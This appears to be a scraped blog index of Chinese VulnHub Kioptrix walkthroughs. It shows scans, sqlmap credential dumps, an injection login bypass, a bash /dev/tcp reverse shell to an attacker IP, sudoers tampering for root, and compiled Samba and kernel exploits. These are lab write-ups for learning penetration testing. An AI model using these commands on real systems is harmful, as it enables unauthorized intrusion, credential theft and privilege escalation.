用于识别和分析目标网站的技术栈、CMS(内容管理系统)、插件、框架和其他与网站相关的信息。通过分析网站的响应和页面内容┌──(root㉿kill3r)-[~]└─# whatweb 192.168.150.129http://192.168.150.129 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.46 (Debian)], IP[192.168.150.129], Script[text/javascript] 目录枚举 dirb http://192.168.150.129 dirsearch -u http://192.168.150.129 -r gobuster dir -w ... -u http://192.168.150.129 -x html,php,js,bak 123456789101112131415161718192021222324252627282930┌──(root㉿kill3r)-[~]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.150.129 -x html,php,js,bak===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://192.168.150.129[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: html,php,js,bak[+] Timeout: 10s===============================================================2023/08/03 22:01:51 Starting gobuster in directory enumeration mode===============================================================/.php (Status: 403) [Size: 279]/.html (Status: 403) [Size: 279]/index.html (Status: 200) [Size: 1620]/profile.php (Status: 200) [Size: 1473]/javascript.js (Status: 200) [Size: 0]/javascript (Status: 301) [Size: 321] [--> http://192.168.150.129/javascript/] /exploit.html (Status: 200) [Size: 279]/.php (Status: 403) [Size: 279]/.html (Status: 403) [Size: 279]/server-status (Status: 403) [Size: 279]Progress: 1099312 / 1102805 (99.68%)===============================================================2023/08/03 22:03:22 Finished=============================================================== 漏洞扫描 12$ nikto -h http://www.example.com/$ nuclei -u https://example.com/ wordlist cewl.list:cewl http://192.168.150.129/ -w cewl.txt 123456789101112nowPostcommentNameWebsiteRememberAdministrationUsernamePasswordProudlyPoweredAdminstration pass.list 123n0t7t1k4Mast3rstarwars user.list 123admindregloneferret hash.list 123456```- information.list```bash 复现过程访问靶场,寻找功能点 进入博客后发现图片全部乱码,F12打开后查看网络,发现是请求的网址,那我们改一下hosts文件,将IP指向这个域名 页面返回正常,查询是否为常见CMS,未查询到,寻找SQL注入点,在一处排序功能点可以选择ID排序,然后判断是否存在注入 信息分析SQL注入 出现了SQL报错,丢到SQLMap中,可以手注哈 12345678910111213141516171819202122232425262728┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1%27&sort=filename#photos~" -p id --dbs┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1%27&sort=filename#photos~" -p id -D gallery --tables┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1%27&sort=filename#photos~" -p id -D gallery --dump Database: galleryTable: dev_accounts[2 entries]+----+---------------------------------------------+------------+| id | password | username |+----+---------------------------------------------+------------+| 1 | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) | dreg || 2 | 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret |+----+---------------------------------------------+------------+Database: galleryTable: gallarific_users[1 entry]+--------+---------+---------+---------+----------+----------+----------+----------+-----------+-----------+------------+-------------+| userid | email | photo | website | joincode | lastname | password | username | usertype | firstname | datejoined | issuperuser |+--------+---------+---------+---------+----------+----------+----------+----------+-----------+-----------+------------+-------------+| 1 | <blank> | <blank> | <blank> | <blank> | User | n0t7t1k4 | admin | superuser | Super | 1302628616 | 1 |+--------+---------+---------+---------+----------+----------+----------+----------+-----------+-----------+------------+-------------+ 尝试密码碰撞用得到的帐号密码尝试登录CMS后台或者ssh服务. 1234567891011┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# ssh dreg@192.168.150.129 Unable to negotiate with 192.168.150.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss# 这个错误是由于SSH客户端与SSH服务器之间的密钥类型不匹配导致的。根据错误提示,服务器提供的密钥类型是ssh-rsa和ssh-dss,但客户端无法与之匹配,并且OpenSSH 7.0 版本之后已经删除了ssh-dss,默认不再支持它# 通过在SSH命令中使用 -o 选项来指定所需的密钥类型┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# ssh -o HostKeyAlgorithms=ssh-rsa dreg@192.168.150.129┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# ssh -o HostKeyAlgorithms=ssh-rsa loneferret@192.168.150.129 系统信息收集Shell as dreg12341. history2. dreg@Kioptrix3:~$ ll -a-rbash: /usr/bin/python: restricted: cannot specify `/' in command names# bash好像有问题 Shell as loneferret12345678910111213141516171819202122232425262728291. history2. loneferret@Kioptrix3:~$ lschecksec.sh CompanyPolicy.README3. loneferret@Kioptrix3:~$ ./checksec.sh --helpUsage: checksec [OPTION]Options: --file <executable-file> --dir <directory> [-v] --proc <process name> --proc-all --proc-libs <process ID> --kernel --fortify-file <executable-file> --fortify-proc <process ID> --version --helpFor more information, see: http://www.trapkit.de/tools/checksec.html# 感觉没啥用4. loneferret@Kioptrix3:~$ sudo -lUser loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht# sudo发现了ht编辑器似乎可以提权 123456789loneferret@Kioptrix3:~$ export TERM=xtermloneferret@Kioptrix3:~$ sudo ht# 打开/etc/sudoers# 底下就是命令 f3打开 f2保存# User privilege specification │root ALL=(ALL) ALL │loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht,/bin/bash # f10保存退出 1234567891011loneferret@Kioptrix3:~$ sudo -lUser loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht (root) NOPASSWD: /bin/bash loneferret@Kioptrix3:~$ sudo bashroot@Kioptrix3:~# iduid=0(root) gid=0(root) groups=0(root)root@Kioptrix3:~# whoamiroot Shell as user1 Shell as user2 以root身份进入Shell 保存屏幕截图作为Flag或Proof","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"VulnHub-Kioptrix Level 2 简单的命令注入 + 内核提权","path":"/2024/02/26/7e189a50/","content":"总字符数: 12.76K 代码: 6.21K, 文本: 1.04K 预计阅读时间: 32 分钟 Overview Name Template Release Date 2024-02-26 Write-up Author kill3r Machine Author kill3r Difficulty Medium User Flag Root Flag Link https://www.vulnhub.com/entry/kioptrix-level-11-2,23/ 相关技能 File Upload Local File Include vim to shell 薄弱点 字典及信息收集技能薄弱 Nmap扫描123456# 使用nmap命令扫描本地主机的所有端口(从1到65535),--min-rate=1000参数表示每秒发送最少1000个包,-T4参数表示设置扫描速度为快速扫描模式。# grep -oE '(^[0-9][^/tcp]*)'用于提取输出结果中的端口号,tr ' ' ','用于将提取的端口号按逗号分隔并拼接成一个字符串ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.19 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',')# 使用nmap命令再次扫描指定的端口,-p$ports参数表示扫描之前提取的端口列表,-sV参数表示进行服务版本检测,-sC参数表示在扫描过程中使用默认脚本进行常见漏洞探测,-O参数表示进行操作系统版本检测,-oN nmap.txt参数表示将扫描结果保存到名为nmap.txt的文件中。nmap -p$ports -sV -sC -O 10.10.10.19 -oN nmap.txt 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162┌──(root㉿kill3r)-[/home/kill3r]└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.19 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',') ┌──(root㉿kill3r)-[/home/kill3r]└─# nmap -p$ports -sV -sC -O 10.10.10.19 -oN nmap.txtStarting Nmap 7.92 ( https://nmap.org ) at 2023-08-05 11:31 CSTNmap scan report for 10.10.10.19Host is up (0.00026s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)|_sshv1: Server supports SSHv1| ssh-hostkey:| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)80/tcp open http Apache httpd 2.0.52 ((CentOS))|_http-server-header: Apache/2.0.52 (CentOS)|_http-title: Site doesn't have a title (text/html; charset=UTF-8).111/tcp open rpcbind 2 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2 111/tcp rpcbind| 100000 2 111/udp rpcbind| 100024 1 613/udp status|_ 100024 1 616/tcp status443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))|_http-title: Site doesn't have a title (text/html; charset=UTF-8).| sslv2:| SSLv2 supported| ciphers:| SSL2_DES_192_EDE3_CBC_WITH_MD5| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5| SSL2_RC4_64_WITH_MD5| SSL2_RC4_128_WITH_MD5| SSL2_DES_64_CBC_WITH_MD5| SSL2_RC4_128_EXPORT40_WITH_MD5|_ SSL2_RC2_128_CBC_WITH_MD5|_http-server-header: Apache/2.0.52 (CentOS)|_ssl-date: 2023-08-05T00:22:22+00:00; -3h09m22s from scanner time.| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--| Not valid before: 2009-10-08T00:10:47|_Not valid after: 2010-10-08T00:10:47616/tcp open status 1 (RPC #100024)631/tcp open ipp CUPS 1.1| http-methods:|_ Potentially risky methods: PUT|_http-title: 403 Forbidden|_http-server-header: CUPS/1.13306/tcp open mysql MySQL (unauthorized)MAC Address: 00:0C:29:53:19:4C (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.30Network Distance: 1 hopHost script results:|_clock-skew: -3h09m22sOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 16.02 seconds 枚举SMB 枚举 Port: 139 389 445 636 enum4linux -a/-A 127.0.0.1 1$ enum4linux -A <ip> Web HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081 Finger:获取有关特定用户或系统上的用户列表和配置信息 whatweb1234# 用于识别和分析目标网站的技术栈、CMS(内容管理系统)、插件、框架和其他与网站相关的信息。通过分析网站的响应和页面内容┌──(root㉿kill3r)-[~]└─# whatweb 192.168.56.101http://192.168.56.101 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.46 (Debian)], IP[192.168.56.101], Script[text/javascript] 目录枚举 dirb http://192.168.56.101 dirsearch -u http://192.168.56.101 -r gobuster dir -w ... -u http://192.168.56.101 -x html,php,js,bak 1234567891011121314151617181920212223242526272829303132333435363738394041424344┌──(root㉿kill3r)-[/]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.9 -x html,php,js,bak===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.10.10.9[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: html,php,js,bak[+] Timeout: 10s===============================================================2023/08/05 13:37:07 Starting gobuster in directory enumeration mode===============================================================Error: error on running gobuster: unable to connect to http://10.10.10.9/: Get "http://10.10.10.9/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)┌──(root㉿kill3r)-[/]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.19 -x html,php,js,bak===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.10.10.19[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: js,bak,html,php[+] Timeout: 10s===============================================================2023/08/05 13:37:56 Starting gobuster in directory enumeration mode===============================================================/.html (Status: 403) [Size: 284]/index.php (Status: 200) [Size: 667]/manual (Status: 301) [Size: 311] [--> http://10.10.10.19/manual/]/usage (Status: 403) [Size: 284]/.html (Status: 403) [Size: 284]Progress: 1102282 / 1102805 (99.95%)===============================================================2023/08/05 13:43:45 Finished=============================================================== 漏洞扫描 12$ nikto -h http://www.example.com/$ nuclei -u https://example.com/ wordlist cewl.list:cewl http://192.168.56.101/ -w dict.txt 1 pass.list 125afac8d85f66lajGGbla user.list 12adminjohn hash.list 123456```- information.list```bash 复现过程访问靶场,寻找功能点 启动Burp进行后台突破: SQL注入 万能密码:admin' or '1'='1 访问凭证伪造 弱口令 返回包修改 成功进入后台,但是我的框呢??? Burp抓包把框弄出来 一看就像典型的命令执行输入IP继续抓包 Kali nc监听:nc -lvvp 6666 bash -i >& /dev/tcp/10.10.10.15/6666 0>&1 漏洞分析 MySQL-unauthorized 123456789101112131415161718192021222324252627282930313233343536373839404142434445 ┌──(root㉿kill3r)-[/] └─# mysql -uroot -proot -h10.10.10.19 ERROR 1130 (HY000): Host 'kill3r.lan' is not allowed to connect to this MySQL server- MySQL-InJect ```bash ┌──(root㉿kill3r)-[/opt] └─# sqlmap -r sql_InJect.txt --level 5 --risk 3 --dbs available databases [1]: [*] webapp ┌──(root㉿kill3r)-[/opt] └─# sqlmap -r sql_InJect.txt --level 5 --risk 3 -D "webapp" --tables --risk 3 Database: webapp [1 table] +-------+ | users | +-------+ ┌──(root㉿kill3r)-[/opt] └─# sqlmap -r sql_InJect.txt --level 5 --risk 3 -D "webapp" -T "users" --columns Database: webapp Table: users [3 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | id | numeric | | password | non-numeric | | username | non-numeric | +----------+-------------+ ┌──(root㉿kill3r)-[/opt] └─# sqlmap -r sql_InJect.txt --level 5 --risk 3 -D "webapp" -T "users" -C "id,username,password" --dump Database: webapp Table: users [2 entries] +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | admin | 5afac8d85f | | 2 | john | 66lajGGbla | +----+----------+------------+ 提升权限 搜索UID无果 1234567891011121314151617181920212223242526272829303132333435bash-3.00$ find / -perm -u=s -type f 2>/dev/null/sbin/unix_chkpwd/sbin/pam_timestamp_check/sbin/pwdb_chkpwd/usr/sbin/ccreds_validate/usr/sbin/userhelper/usr/sbin/userisdnctl/usr/sbin/suexec/usr/sbin/usernetctl/usr/libexec/openssh/ssh-keysign/usr/libexec/pt_chown/usr/kerberos/bin/ksu/usr/lib/squid/pam_auth/usr/lib/squid/ncsa_auth/usr/bin/chsh/usr/bin/rcp/usr/bin/sudo/usr/bin/chage/usr/bin/crontab/usr/bin/rlogin/usr/bin/rsh/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/chfn/usr/bin/lppasswd/usr/bin/sg/usr/bin/passwd/bin/mount/bin/traceroute6/bin/traceroute/bin/umount/bin/ping6/bin/ping/bin/su Viewing Crontab 1234567891011bash-3.00$ cat /etc/crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=rootHOME=/# run-parts01 * * * * root run-parts /etc/cron.hourly02 4 * * * root run-parts /etc/cron.daily22 4 * * 0 root run-parts /etc/cron.weekly42 4 1 * * root run-parts /etc/cron.monthly Viewing Core 1234567891011121314151617181920212223242526bash-3.00$ cat /etc/*release*cat: /etc/lsb-release.d: Is a directoryCentOS release 4.5 (Final)bash-3.00$ uname -aLinux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux┌──(root㉿kill3r)-[/opt]└─# searchsploit centos 2.6---------------------------------------------------------------------------- --------------------------------- Exploit Title | Path---------------------------------------------------------------------------- ---------------------------------Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / | linux/local/9545.cLinux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / Ce | linux/local/9479.cLinux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 | linux_x86/local/9542.cLinux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Esca | linux/local/25444.cLinux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mu | linux_x86-64/local/45516.c---------------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsPapers: No Resultsbash-3.00$ lsb_release -alsb_release -aLSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarchDistributor ID: CentOSDescription: CentOS release 4.5 (Final)Release: 4.5Codename: Final Vuln Exp 12345678910111213141516171819202122┌──(root㉿kill3r)-[/opt]└─# searchsploit -m 9545.c┌──(root㉿kill3r)-[/opt/vulnhub]└─# python3 -m http.server 8888bash-3.00$ cd /tmpbash-3.00$ wget http://10.10.10.15:8888/9545.c--21:49:13-- http://10.10.10.15:8888/9545.c => `25444.c'Connecting to 10.10.10.15:8888... connected.HTTP request sent, awaiting response... 200 OKLength: 9,408 (9.2K) [text/x-csrc] 0K ......... 100% 1.25 GB/s21:51:48 (1.25 GB/s) - `9545.c' saved [9408/9408]bash-3.00$ gcc 9545.c9545.c:376:28: warning: no newline at end of filebash-3.00$ ./a.outsh: no job control in this shellsh-3.00# iduid=0(root) gid=0(root) groups=48(apache) Shell as user1 Shell as user2以root身份进入Shell 保存屏幕截图作为Flag或Proof","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"VulnHub-Kioptrix Level 1 古老的 Apache Vuln","path":"/2024/02/24/e36a7018/","content":"总字符数: 11.97K 代码: 10.32K, 文本: 0.31K 预计阅读时间: 46 分钟 Overview Name Template Release Date 2024-02-24 Write-up Author Kill3r Machine Author Kill3r Difficulty Medium User Flag Root Flag Link https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ 相关技能 Smb exp mod-ssl exp 薄弱点 gcc编译处理 Nmap扫描12345ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.9 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',')nmap -p$ports -sV -sC -O 10.10.10.9 -oN nmap.txt# 第一行代码使用nmap命令扫描本地主机的所有端口(从1到65535),--min-rate=1000参数表示每秒发送最少1000个包,-T4参数表示设置扫描速度为快速扫描模式。# grep -oE '(^[0-9][^/tcp]*)'用于提取输出结果中的端口号,tr ' ' ','用于将提取的端口号按逗号分隔并拼接成一个字符串。# 第二行代码使用nmap命令再次扫描指定的端口,-p$ports参数表示扫描之前提取的端口列表,-sV参数表示进行服务版本检测,-sC参数表示在扫描过程中使用默认脚本进行常见漏洞探测,-O参数表示进行操作系统版本检测,-oN nmap.txt参数表示将扫描结果保存到名为nmap.txt的文件中。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061┌──(root㉿kill3r)-[/home/kill3r]└─# ports=$(nmap -p- --min-rate=1000 -T4 192.168.56.101 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',') ┌──(root㉿kill3r)-[/home/kill3r]└─# nmap -p$ports -sV -sC -O 192.168.56.101 -oN nmap.txtStarting Nmap 7.92 ( https://nmap.org ) at 2023-08-04 20:27 CSTNmap scan report for 10.10.10.9Host is up (0.00022s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)|_sshv1: Server supports SSHv1| ssh-hostkey:| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b|_http-title: Test Page for the Apache Web Server on Red Hat Linux| http-methods:|_ Potentially risky methods: TRACE111/tcp open rpcbind 2 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2 111/tcp rpcbind| 100000 2 111/udp rpcbind| 100024 1 1024/tcp status|_ 100024 1 1024/udp status139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b|_ssl-date: 2023-08-04T12:29:55+00:00; +1m50s from scanner time.| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--| Not valid before: 2009-09-26T09:32:06|_Not valid after: 2010-09-26T09:32:06|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b|_http-title: 400 Bad Request| sslv2:| SSLv2 supported| ciphers:| SSL2_DES_64_CBC_WITH_MD5| SSL2_RC2_128_CBC_WITH_MD5| SSL2_RC4_64_WITH_MD5| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5| SSL2_DES_192_EDE3_CBC_WITH_MD5| SSL2_RC4_128_WITH_MD5|_ SSL2_RC4_128_EXPORT40_WITH_MD51024/tcp open status 1 (RPC #100024)MAC Address: 00:0C:29:7C:3A:16 (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 2.4.XOS CPE: cpe:/o:linux:linux_kernel:2.4OS details: Linux 2.4.9 - 2.4.18 (likely embedded)Network Distance: 1 hopHost script results:|_smb2-time: Protocol negotiation failed (SMB2)|_clock-skew: 1m49s|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 23.82 seconds 枚举SMB 枚举 Port: 139 389 445 636 enum4linux -a/-A 127.0.0.1 123456789101112131415161718192021222324252627282930313233┌──(root㉿kill3r)-[/home/kill3r]└─$ enum4linux -A 10.10.10.9Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Aug 4 20:29:56 2023 =========================================( Target Information )=========================================Target ........... 10.10.10.9RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =============================( Enumerating Workgroup/Domain on 10.10.10.9 )=============================[+] Got domain/workgroup name: MYGROUP ====================================( Session Check on 10.10.10.9 )====================================[+] Server 10.10.10.9 allows sessions using username '', password '' =================================( Getting domain SID for 10.10.10.9 )=================================Domain Name: MYGROUPDomain Sid: (NULL SID)[+] Can't determine if host is part of domain or part of a workgroupenum4linux complete on Fri Aug 4 20:29:56 2023 MSF-SMB 12345678910111213141516# 基于SMB协议扫描版本号msf6 > use auxiliary/scanner/smb/smb_version[*] 10.10.10.9:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)[*] 10.10.10.9:139 - Host could not be identified: Unix (Samba 2.2.1a)[*] 10.10.10.9: - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed# 扫描共享文件msf6 > use auxiliary/scanner/smb/smb_enumshares[*] 10.10.10.9:139 - Starting module[*] 10.10.10.9:445 - Starting module[*] 10.10.10.9: - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed# 基于SMB进行用户信息枚举msf6 > use auxiliary/scanner/smb/smb_lookupsid[*] 10.10.10.9: - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed Web HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081 Finger:获取有关特定用户或系统上的用户列表和配置信息 whatweb1234# 用于识别和分析目标网站的技术栈、CMS(内容管理系统)、插件、框架和其他与网站相关的信息。通过分析网站的响应和页面内容┌──(root㉿kill3r)-[~]└─# whatweb 10.10.10.9http://10.10.10.9 [200 OK] Apache[1.3.20][mod_ssl/2.8.4], Country[RESERVED][ZZ], Email[webmaster@example.com], HTTPServer[Red Hat Linux][Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b], IP[10.10.10.9], OpenSSL[0.9.6b], Title[Test Page for the Apache Web Server on Red Hat Linux] 目录枚举 dirb http://192.168.56.101 dirsearch -u http://192.168.56.101 -r gobuster dir -w ... -u http://192.168.56.101 -x html,php,js,bak 123456789101112131415161718192021222324252627┌──(root㉿kill3r)-[~]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.9 -x html,php,js,bak===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.10.10.9[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: html,php,js,bak[+] Timeout: 10s===============================================================2023/08/04 22:41:08 Starting gobuster in directory enumeration mode===============================================================/.html (Status: 403) [Size: 269]/index.html (Status: 200) [Size: 2890]/test.php (Status: 200) [Size: 27]/manual (Status: 301) [Size: 294] [--> http://127.0.0.1/manual/]/usage (Status: 301) [Size: 293] [--> http://127.0.0.1/usage/]/mrtg (Status: 301) [Size: 292] [--> http://127.0.0.1/mrtg/]/.html (Status: 403) [Size: 269]Progress: 1100338 / 1102805 (99.78%)===============================================================2023/08/04 22:46:47 Finished=============================================================== 漏洞扫描 12$ nikto -h http://www.example.com/$ nuclei -u https://example.com/ wordlist cewl.list:cewl http://192.168.56.101/ -w dict.txt 1 pass.list 1234```- user.list 123- hash.list 12345- information.list```bash Wappalyzer1234Web 服务器:Apache HTTP Server 1.3.20操作系统:UNIXWeb 服务器扩展:OpenSSL 0.9.6bmod_ssl:2.8.4 复现过程访问靶场,寻找功能点 无功能点,继续分析其他服务 信息分析SMB Samba 2.2.1a 123456789┌──(root㉿kill3r)-[/home/kill3r]└─$ searchsploit Samba 2.2.1a---------------------------------------------------------------------------- --------------------------------- Exploit Title | Path---------------------------------------------------------------------------- ---------------------------------Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit) | osx/remote/9924.rbSamba < 2.2.8 (Linux/BSD) - Remote Code Execution | multiple/remote/10.cSamba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txtSamba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py---------------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsPapers: No Results 最终测试得10.c可用,直接获取shell权限 1234567891011121314┌──(root㉿kill3r)-[/home/kill3r]└─$ gcc 10.c -o samba┌──(root㉿kill3r)-[/home/kill3r]└─$ ./samba -b O 10.10.10.9samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)--------------------------------------------------------------+ Bruteforce mode. (Linux)+ Host is running samba.+ Worked!--------------------------------------------------------------*** JE MOET JE MUIL HOUWELinux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknownuid=0(root) gid=0(root) groups=99(nobody) Mod_ssl:2.8.4 12345678910111213141516171819202122232425262728293031┌──(root㉿kill3r)-[~/.ssh]└─# searchsploit mod_ssl 2.8.4---------------------------------------------------------------------------- --------------------------------- Exploit Title | Path---------------------------------------------------------------------------- ---------------------------------Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.cApache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.cApache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c---------------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsPapers: No Results┌──(root㉿kill3r)-[/home/kill3r]└─# gcc -o OpenFuck 47080.c -lcrypto┌──(root㉿kill3r)-[/home/kill3r]└─# ./OpenFuck -h | grep apache-1.3.20 0x02 - Cobalt Sun 6.0 (apache-1.3.20) 0x27 - FreeBSD (apache-1.3.20) 0x28 - FreeBSD (apache-1.3.20) 0x29 - FreeBSD (apache-1.3.20+2.8.4) 0x2a - FreeBSD (apache-1.3.20_1) 0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk) 0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk) 0x3f - Mandrake Linux 8.1 (apache-1.3.20-3) 0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2 0x7e - Slackware Linux 8.0 (apache-1.3.20) 0x86 - SuSE Linux 7.3 (apache-1.3.20) # 我这里只获取到了apache权限,估计是因为编译的时候出问题了吧 ┌──(root㉿kill3r)-[/home/kill3r]└─# ./OpenFuck 0x6b 10.10.10.9 Flag as user11 Shell as user1 Shell as user2以root身份进入Shell 保存屏幕截图作为Flag或Proof","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"Security-反弹Shell大全及使用","path":"/2024/02/22/449cb93/","content":"总字符数: 9.55K 代码: 2.67K, 文本: 4.12K 预计阅读时间: 30 分钟 什么是反弹 shell 反向 shell(reverse shell)是一种网络攻击技术,其中攻击者通过在目标系统上植入恶意代码或利用漏洞,将受害者的计算机与攻击者的计算机建立起连接。在这种连接中,攻击者的计算机充当控制端,而受害者的计算机被控制并成为被控端。 